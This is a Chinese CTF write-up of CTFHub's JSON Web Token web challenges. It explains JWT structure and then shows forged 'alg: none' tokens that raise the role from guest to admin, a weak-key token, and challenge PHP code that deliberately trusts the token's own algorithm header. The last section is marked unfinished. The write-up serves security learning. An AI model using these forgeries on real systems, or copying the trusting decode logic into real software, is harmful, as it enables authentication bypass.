CTFHUB-Web进阶-JSON Web Token
基础知识
JWT原理
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。
服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。
JWT有三部分组成:
Header(头部)
Payload(负载)
Signature(签名)
Header.Payload.Signature
Header部分:
Header 部分是一个 JSON 对象,描述 JWT 的元数据。
header部分最常用的两个字段是alg和typ。
alg属性表示token签名的算法(algorithm),最常用的为HMAC和RSA算法
typ属性表示这个token的类型(type),JWT 令牌统一写为JWT。
JWT里验证和签名使用的算法,可选择下面的:
JWS | 算法名称 | 描述 |
HS256 | HMAC256 | HMAC with SHA-256 |
HS384 | HMAC384 | HMAC with SHA-384 |
HS512 | HMAC512 | HMAC with SHA-512 |
RS256 | RSA256 | RSASSA-PKCS1-v1_5 with SHA-256 |
RS384 | RSA384 | RSASSA-PKCS1-v1_5 with SHA-384 |
RS512 | RSA512 | RSASSA-PKCS1-v1_5 with SHA-512 |
ES256 | ECDSA256 | ECDSA with curve P-256 and SHA-256 |
ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
Payload部分:
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
除了官方字段,还可以在这个部分定义私有字段
Signature部分:
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256(base64UrlEncode(header) + "."
+base64UrlEncode(payload),secret)
敏感信息泄露
无签名
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.
1tg4f5ZwANJCK8gAzI1gL1-yGoB4DS8OXQDKXJRd-YU; expires=Sat, 17-Jul-2021
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
{"typ":"JWT","alg":"HS256"}
{"typ":"JWT","alg":"none"}
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9
{"username":"admin","password":"admin","role":"guest"}
{"username":"admin","password":"admin","role":"admin"}
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
{"typ":"JWT","alg":"none"}.{"username":"admin","password":"admin","role":"admin"}.
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
弱密钥
Header:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
{"typ":"JWT","alg":"HS256"}
Payload:
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.
{"username":"admin","password":"admin","role":"guest"}
签名:
hRHuv8M0WsmxQ8UXuQ4xUAV22l0_4y4V5OFE6zvknfE
修改签名算法(未完成)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>CTFHub JWTDemo</title>
<link rel="stylesheet" href="/static/style.css" />
</head>
<body>
<main id="content">
<header>Web Login</header>
<form id="login-form" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<input type="submit" name="action" value="Login" />
</form>
<a href="/publickey.pem">publickey.pem</a>
</main>
<?php echo $_COOKIE['token'];?>
<hr/>
</body>
</html>
<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
算法公钥:
获得的Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.mb6QMX5tQBr4J4ipzjzIsBYzW2QHZat0rycVbGL9uNfuYddUDm2xKYqUHKtRKTzT-zuBpuseBrnIOAD48-1b5tDSYIKiWZzT89cWCXKI8RtvUlUhTsQAwu-3_ZsRdkta9foxO2Jd0kZF7rqBSjrlD-YUaTrBgqf9lHUUJBT8eux0ALWTFXux245zfqsMHHgpk8QGRaBqw73IbpNFtr0UMiXfqI0Nt2-9Og8pLc6i1N7Cd7yLdCX9FInVJYEPSvztH3vSTg81lctRCZvB_Dhz0SQF99ci_fa8Gg-DWbDhB9vw7smBpGZEcH2U-HzdHhNL5yCiIzEqD2SYKb6TGlgofA